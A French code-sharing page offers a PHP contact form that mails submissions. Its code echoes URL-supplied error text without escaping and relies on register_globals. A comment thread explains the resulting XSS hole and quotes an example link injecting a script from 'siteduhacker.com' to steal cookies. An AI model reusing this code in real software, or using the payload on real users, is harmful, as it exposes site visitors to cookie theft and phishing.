Formulaire envoi par mail avec message d'erreur

Soyez le premier à donner votre avis sur cette source.

Vue 18 805 fois - Téléchargée 2 308 fois

Description

Ce code vous sert à recevoir vos mail par la fonction mail de php.
C'est-à-dire que vos contact écrive remplit un formulaire et vous le recevez directement par mail dans votre boîte. Mais j'ai ajouter une chose qui vous permet de pas recevoir de mail sans rien dessus. Pour le reste je vous laisse tester .....

Source / Exemple :


Crée un fichier "formulaire.php"

le code du formulaire est le suivants ( a insérer entre les balise <body> </body>:

<div align="center">
  <h1><font face="Verdana, Arial, Helvetica, sans-serif">Contactez-moi</font></h1>
</div>
<form action="result.php" method="post" name="form" id="form">
  <table width="400" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr> 
      <td colspan="2"> 
        <?
	if ($ERRMSG!=""):
		echo("<font color='Red'><B><I>$ERRMSG</I></B></font><BR><BR>\n");
	endif;
	?>
      </td>
    </tr>
    <tr> 
      <td> </td>
      <td> </td>
    </tr>
    <tr> 
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Nom :</font></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input name="Nom" type="text" id="Nom" size="25">
        </font></td>
    </tr>
    <tr> 
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Prénom 
        :</font></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input name="Prenom" type="text" id="Prenom" size="25">
        </font></td>
    </tr>
    <tr> 
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Adresse 
        email :</font></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input name="Email" type="text" id="Email" size="25">
        </font></td>
    </tr>
    <tr> 
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
    </tr>
    <tr> 
      <td valign="top"><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
        Commentaire :</font></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
        <textarea name="Commentaire" id="Commentaire"></textarea>
        </font></td>
    </tr>
    <tr> 
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> </font></td>
    </tr>
    <tr> 
      <td><div align="right"> <font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
          <input type="reset" name="Submit2" value="Effacer">
          </font></div></td>
      <td><font size="2" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="submit" name="Submit" value="Envoyer">
        </font></td>
    </tr>
    <tr> 
      <td> </td>
      <td> </td>
    </tr>
  </table>
</form>

Crée un fichier "result.php"

<?
// on verifie deja les champs...
$ERRMSG="";
if ($Nom==""):
	$ERRMSG.="<LI>Votre nom\n";
endif;
if ($Email==""):
	$ERRMSG.="<LI>Votre email\n";
endif;

// Champs à modifier selon les besoin
if ($ERRMSG!=""):
	$ERRMSG="Vous devez indiquer...".$ERRMSG;
	$ERRMSG=urlencode($ERRMSG);
	$Nom=urlencode($Nom);
	$Email=urlencode($Email);
	Header("Location: formulaire.php?ERRMSG=$ERRMSG&Nom=$Nom&Email=$Email");	
	exit;
endif;

// donc on peut envoyer l email

if ($EMAIL==""):
endif;
$mail = $mail."DEMANDE D'INFORMATION Photoagogo\n\n\nStatue : ";
$mail = $mail."\nNom : " . $Nom;
$mail=$mail."\nPrénom : " . $Prenom;
$mail=$mail."\nEmail: " . $Email;
$mail=$mail."\nCommentaire : " . $Commentaire;

// Sujet du mail et adresse de déstination
$recipient = "email@nomdomaine.com";
$subject = "Demande d'information Photoagogo";

// Sujet du mail
$mailheaders = "From: Demande d'information venant de photoagogo.fr.St <> \n";
mail($recipient, $subject, $mail, $mailheaders);

// Remerciement
$ERRMSG="Nous avons bien pris en compte votre demande.<BR>A très bientôt !";
$ERRMSG=urlencode($ERRMSG);
Header("Location: formulaire.php?ERRMSG=$ERRMSG");
?>

Conclusion :


A vous de jouer maintenant...

Codes Sources

A voir également

Ajouter un commentaire

Commentaires

mickadevelop
Messages postés
59
Date d'inscription
mardi 15 février 2005
Statut
Membre
Dernière intervention
4 juin 2010
-
Ok je n'avais pas pensé a ce cas de figure. Merci et donc en conclusion il faut filtrer le html(avec htmlentites)toutes les variables demandé à l'utilisateur et que l'on affiche au format html!!!!!
winwarrior
Messages postés
654
Date d'inscription
jeudi 3 avril 2003
Statut
Membre
Dernière intervention
10 février 2009
1 -
Le hacker peut inciter une personne à cliquer sur un lien (social engineering)
(exemple: http://sitevulnerable.com/?variablePasSecurisée=<script src="http://siteduhacker.com/scriptMalveillant.js"></script>);
la victime en cliquant sur le lien (le hacker l'aura bien entendu camouflé) injectera dans sa propre page le code javascript du hacker
mickadevelop
Messages postés
59
Date d'inscription
mardi 15 février 2005
Statut
Membre
Dernière intervention
4 juin 2010
-
Oui je suis entierement d'accord avec toi qu'il ne faut pas laisser le javascript actif!! mais ce raisonnement n'a de valeur uniquement si un internaute malveillant mes un codes javascript sur une pages que d'autres interanutes peuvent consulter (par exemple dans un forum). Pour le cas qui est exposé au dessus on va afficher les variables saisies par l'utilisateur temporairement sur la page et il n'y aura uniquement que l'internaute qui les aura saisies qui sera concerné par ces variables. En conséquence si il rentre du javascript il ne pourra uniquement que lire ces propres cookies ou ce rediriger que lui meme vers une autre page web. Les conséquences ne seront valable uniquement que pour l'internaute qui a saisie les variable. Donnez moi votre avis sur ce raisonnement?
winwarrior
Messages postés
654
Date d'inscription
jeudi 3 avril 2003
Statut
Membre
Dernière intervention
10 février 2009
1 -
Combiné avec du social engineering (la victime devra cliquer sur le lien),
Un hacker pourrait mettre (par exemple) un code javascript qui lui enverrait le cookie de la victime sur ce domaine, ou ouvrirait une nouvelle fenetre avec une fausse identification ebay ou paypal (fishing) etc.. on peut presque tout faire en javascript
Donc non, ça ne sert pas à rien =)
mickadevelop
Messages postés
59
Date d'inscription
mardi 15 février 2005
Statut
Membre
Dernière intervention
4 juin 2010
-
salut, ca sert à rien de mettre htmlentities() puisque si il met des balises html elle ne seront actives que pour l'utilisateur (donc que pour le mec qui les met) si il a envi d'avoir des merdes sur ca page c'est sont probleme. J'aimerais avoir votre avis sur ce sujet peut etre n'ai- je pas pensé à une faille de securité lié à du javascripte ou autre merci :)

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.